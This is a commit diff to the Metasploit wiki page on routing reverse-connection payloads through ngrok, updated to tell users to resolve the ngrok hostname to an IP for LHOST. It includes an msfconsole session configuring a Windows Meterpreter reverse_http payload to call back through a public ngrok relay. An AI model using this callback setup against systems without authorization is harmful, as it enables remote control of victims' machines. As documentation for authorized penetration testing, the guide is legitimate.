Skip to content

Commit 8a812c2

Browse files
committed
Update the docs to highlight DNS handling
1 parent f16f1aa commit 8a812c2

File tree

1 file changed

+23
-12
lines changed

1 file changed

+23
-12
lines changed

docs/metasploit-framework.wiki/How-to-use-Metasploit-with-ngrok.md

Lines changed: 23 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -22,17 +22,22 @@ e.g. reverse_tcp, reverse_http, reverse_https, etc. but not reverse_named_pipe.
2222
used to forward a random public port to the Metasploit listener on port 4444. This scenario assumes that Metasploit and
2323
ngrok are running on the same host.
2424

25+
**NOTE:** At this time, payloads handle DNS hostnames inconsistently. Some are compatible with hostnames while others
26+
require IP addresses to be specified as the target to connect to (the `LHOST` option). To ensure the specified payload
27+
will work, the hostname provided by ngrok should be resolved to an IP address and the IP address should be used as the
28+
value for `LHOST`.
29+
2530
1. Start a TCP tunnel using ngrok: `ngrok tcp localhost:4444`.
26-
1. ngrok should start running and display a few settings, including a line that says "Forwarding". Note the host and IP
27-
address from this line, e.g. `4.tcp.ngrok.io:13779`
31+
1. ngrok should start running and display a few settings, including a line that says "Forwarding". Note the host and
32+
port number from this line, e.g. `4.tcp.ngrok.io:13779`
33+
1. Resolve the hostname from the previous step to an IP address.
2834
1. Start msfconsole and use the desired payload or exploit module.
2935
* Using `msfconsole` for both generating the payload and handling the connection is recommended over using `msfvenom`
3036
for two reasons.
3137
1. Using `msfvenom` starts up an instance of the framework to generate the payload, making it a slower process.
3238
2. Using `msfconsole` to configure both the payload and handler simultaneously ensures that the options are set for
3339
both, eliminating the possibility that they are out of sync.
34-
1. Set the `LHOST` option to the address noted in step 2, `4.tcp.ngrok.io` in the example. This is where the payload is
35-
expecting to connect to.
40+
1. Set the `LHOST` option to the IP address noted in step 3. This is where the payload is expecting to connect to.
3641
1. Set the `LPORT` option to the port noted in step 2, `13779` in the example.
3742
1. Set the `ReverseListenerBindAddress` option to `127.0.0.1`. This is where the connection will actually be accepted
3843
from ngrok.
@@ -57,17 +62,23 @@ Version 3.16.0
5762
Region United States (us)
5863
Latency 33ms
5964
Web Interface http://127.0.0.1:4040
60-
Forwarding tcp://0.tcp.ngrok.io:17511 -> localhost:4444
65+
Forwarding tcp://4.tcp.ngrok.io:17511 -> localhost:4444
6166
6267
Connections ttl opn rt1 rt5 p50 p90
6368
0 0 0.00 0.00 0.00 0.00
6469
```
6570

66-
metasploit side:
71+
resolve the hostname `4.tcp.ngrok.io` to an IP address
72+
```
73+
$ dig +short 4.tcp.ngrok.io
74+
192.0.2.1
6775
```
76+
77+
metasploit side:
78+
```msf
6879
msf6 > use payload/windows/x64/meterpreter/reverse_http
69-
msf6 payload(windows/x64/meterpreter/reverse_http) > set LHOST 0.tcp.ngrok.io
70-
LHOST => 0.tcp.ngrok.io
80+
msf6 payload(windows/x64/meterpreter/reverse_http) > set LHOST 192.0.2.1
81+
LHOST => 192.0.2.1
7182
msf6 payload(windows/x64/meterpreter/reverse_http) > set LPORT 17511
7283
LPORT => 17511
7384
msf6 payload(windows/x64/meterpreter/reverse_http) > set ReverseListenerBindAddress 127.0.0.1
@@ -103,11 +114,11 @@ tcp tunnel for a reverse-connection payload will not be able to be opened at the
103114
to open a second tcp tunnel and follow the steps above for the payload configuration.
104115

105116
1. Start a TCP tunnel using ngrok: `ngrok tcp localhost:4444`.
106-
1. ngrok should start running and display a few settings, including a line that says "Forwarding". Note the host and IP
107-
address from this line, e.g. `4.tcp.ngrok.io:13779`
117+
1. ngrok should start running and display a few settings, including a line that says "Forwarding". Note the host and
118+
port number from this line, e.g. `4.tcp.ngrok.io:13779`
119+
1. Resolve the hostname from the previous step to an IP address.
108120
1. Start msfconsole and use the desired module.
109-
1. Set the `SRVHOST` option to the address noted in step 2, `4.tcp.ngrok.io` in the example. This is where the payload is
110-
expecting to connect to.
121+
1. Set the `LHOST` option to the IP address noted in step 3. This is where the payload is expecting to connect to.
111122
1. Set the `SRVPORT` option to the port noted in step 2, `13779` in the example.
112123
1. Set the `ListenerBindAddress` option to `127.0.0.1`. This is where the connection will actually be accepted
113124
from ngrok.

0 commit comments

Comments
 (0)